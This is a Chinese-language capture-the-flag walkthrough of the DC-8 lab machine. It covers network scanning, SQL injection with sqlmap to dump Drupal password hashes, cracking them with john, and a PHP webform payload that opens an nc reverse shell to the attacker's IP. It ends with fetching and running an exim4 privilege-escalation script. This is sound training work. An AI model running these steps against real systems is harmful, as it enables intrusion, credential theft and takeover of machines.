一、信息收集
扫一下子网段,发现靶机ip为192.168.145.130。
nmap -sP 192.168.145.*
进一步进行端口、系统等信息扫描,开放的端口为80、22,中间件为apache。
nmap -sT -T4 -sV -O -sC -p1-65535 192.168.145.130
再扫一下网站目录,除了扫出一个登录后台,没啥有用的。
dirsearch -u http://192.168.145.130/
扫一下网站的信息,中间件为Drupal 7,网上搜了一下没啥可以利用的poc。
whatweb -v http://192.168.145.130/
二、getshell
直接访问网站看看咯,随便点击看看有无啥漏洞。
经过我仔细的观察,点击Details下面的标签url就会出现参数。例如点击Welcome to DC-8,就会有个nid=1的参数。
点击Who We Are的话,就变成nid=2。
我们改成nid=1*2,发现它返回了Who We Are的页面。说明服务端那边执行了1*2这个代码,所以存在sql注入,直接扔到sqlmap跑就ok了,sqlmap也说存在注入漏洞。
sqlmap -u "http://192.168.145.130/?nid=1"
爆库。
sqlmap -u "http://192.168.145.130/?nid=1" -dbs
爆d7db库里面的表,发现有个users的表。
sqlmap -u "http://192.168.145.130/?nid=1" -D d7db --tables
继续爆这个表里面的列,name和pass估计就是用户名和密码啦。
sqlmap -u "http://192.168.145.130/?nid=1" -D d7db -T users --columns
查看这两个列的值,用户名分别为admin和john,密码是经过了加密滴。
sqlmap -u "http://192.168.145.130/?nid=1" -D d7db -T users -C 'name' --dump
sqlmap -u "http://192.168.145.130/?nid=1" -D d7db -T users -C 'pass' --dump
去爆破一下密码,把密码复制到一个.txt文件里面,用john来进行爆破。我这里已经爆破过一次了,所以不会直接显示明文,要输入命令来查看。
john --wordlist=/usr/share/wordlists/password.lst --rules 1.txt //爆破
john --show 1.txt //查看
不过也只能爆破处john用户的密码,admin的爆破不出来,访问我们上面扫出的登录后台,登录进去看看先。
随便点点看有无反弹shell的地方,经过我废寝忘食的努力,终于在Contact Us这里找到反弹shell了。点击Wobform,会看到有个Form settings的模块。这个应该就是让你设置表单,表单会随着你的你的联系一起提交的。
Form settings支持写入php代码,那么我们直接通过php命令执行函数写入nc反弹shell即可。注意!!注意!!注意!!一定得在第一行加<p>xxxx</p>,不然会执行不了命令,我们不知道为啥,但这是泪的教训,记得点击下面的保存。
<p>hhhh</p>
<?php
system("nc -e /bin/bash 192.168.145.171 3333");
?>
kail开启监听,然后随便提交一点东西。
nc -lvvp 3333
成功反弹shell,py打开一个交互式面板。
python -c 'import pty; pty.spawn("/bin/bash")'
三、提权
我翻了一下,没发现有啥提权的提示,查看有无sudo权限。好吧,需要输入密码,那基本是鸡鸡了。
sudo -l
再看看能不能suid提权咯,发现还是有挺多命令具有suid权限滴,但都是我没见过的命令。没有那些例如find等常见的命令,然后我就去一条一条命令地搜,比如chfn提权。哈哈哈,没办法只能这样了。
find / -perm -u=s -type f 2>/dev/null
功夫不负有心人,找到一个exim4 suid提权,其实exim4不是一个命令,属于一个第三方应用。不管那么多,能提权就行,先看一下exim4的版本。
/usr/sbin/exim4 --version
再去kali的漏洞库搜一下有无直接可以利用的脚本,怎么判断该用哪个脚本呢。先看脚本利用的对应版本嘛,第三个能利用的版本为4.87-4.61符合上面我们的exim 4.89的版本。然后再看看这个脚本是干啥的,写Privilege Escalation就是权限提升的意思,结合这些信息不难判断出用哪个。
searchsploit exim 4.8
把这个脚本复制一份然后放到/var/www/html目录下面,python开启一个http服务。
python -m http.server 80
靶机进入到tmp目录,下载脚本。
wget http://192.168.145.171/46996.sh
给予脚本执行权限。
chmod 777 46996.sh
查看一下脚本看看是如何使用滴,一共两种方法,具体使用哪一种,我们两个都试试不就得了。
经过测试,第二种方法可行滴。
./46996.sh -m netcat
查看flag,至此结束。
四、总结
不算难的靶机,只是反弹shell的时候第一句记得是<p>xxx</p>,还有exim提权没遇到过,只能上网去搜了。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。